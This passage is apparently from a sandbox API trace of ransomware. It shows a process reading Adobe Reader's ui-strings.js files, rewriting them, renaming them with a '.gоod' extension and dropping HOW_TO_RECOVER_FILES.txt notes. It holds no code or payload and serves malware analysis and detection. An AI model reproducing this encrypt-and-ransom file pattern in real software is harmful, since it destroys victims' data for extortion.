ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.713] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.713] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.713] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0194.714] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0194.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0194.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0194.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x370ff00 | out: lpFileInformation=0x370ff00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337)) returned 1 [0194.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0194.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0194.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.714] GetFileType (hFile=0x824) returned 0x1 [0194.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0194.714] GetFileType (hFile=0x824) returned 0x1 [0194.714] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x337 [0194.745] ReadFile (in: hFile=0x824, lpBuffer=0x37105e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x37105e0*, lpNumberOfBytesRead=0x203eb258*=0x337, lpOverlapped=0x0) returned 1 [0194.747] CloseHandle (hObject=0x824) returned 1 [0195.709] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0195.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0195.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.711] GetFileType (hFile=0x838) returned 0x1 [0195.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0195.711] GetFileType (hFile=0x838) returned 0x1 [0195.711] WriteFile (in: hFile=0x838, lpBuffer=0x3609bd0*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3609bd0*, lpNumberOfBytesWritten=0x203eb168*=0x340, lpOverlapped=0x0) returned 1 [0195.712] CloseHandle (hObject=0x838) returned 1 [0195.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0195.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0195.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0195.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x70dd09a7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0195.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0195.712] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js.gоod")) returned 1 [0195.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0195.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0195.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x838 [0195.714] GetFileType (hFile=0x838) returned 0x1 [0195.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0195.714] GetFileType (hFile=0x838) returned 0x1 [0195.715] WriteFile (in: hFile=0x838, lpBuffer=0x360d4e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x360d4e0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0195.716] CloseHandle (hObject=0x838) returned 1 [0195.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0195.716] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il", lpFilePart=0x0) returned 0x77 [0195.716] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0195.717] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.717] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0195.718] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.718] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0195.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0195.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0195.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0195.718] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il", lpFilePart=0x0) returned 0x77 [0195.718] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0195.718] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.718] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0195.718] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0195.719] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0195.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0195.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0195.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0195.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0195.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x361d3b8 | out: lpFileInformation=0x361d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc)) returned 1 [0195.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0195.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0195.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0195.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.719] GetFileType (hFile=0x838) returned 0x1 [0195.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0195.719] GetFileType (hFile=0x838) returned 0x1 [0195.719] GetFileSize (in: hFile=0x838, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6dc [0195.720] ReadFile (in: hFile=0x838, lpBuffer=0x361de40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x361de40*, lpNumberOfBytesRead=0x203eb258*=0x6dc, lpOverlapped=0x0) returned 1 [0195.721] CloseHandle (hObject=0x838) returned 1 [0196.276] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0196.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0196.276] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.497] GetFileType (hFile=0x838) returned 0x1 [0196.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0196.497] GetFileType (hFile=0x838) returned 0x1 [0196.497] WriteFile (in: hFile=0x838, lpBuffer=0x3716c68*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3716c68*, lpNumberOfBytesWritten=0x203eb168*=0x6e0, lpOverlapped=0x0) returned 1 [0196.498] CloseHandle (hObject=0x838) returned 1 [0196.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0196.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0196.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0196.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7156a906, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6e0)) returned 1 [0196.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0196.498] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\ui-strings.js.gоod")) returned 1 [0196.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0196.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0196.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x838 [0196.500] GetFileType (hFile=0x838) returned 0x1 [0196.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0196.500] GetFileType (hFile=0x838) returned 0x1 [0196.500] WriteFile (in: hFile=0x838, lpBuffer=0x371a578*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x371a578*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0196.501] CloseHandle (hObject=0x838) returned 1 [0196.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0196.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | 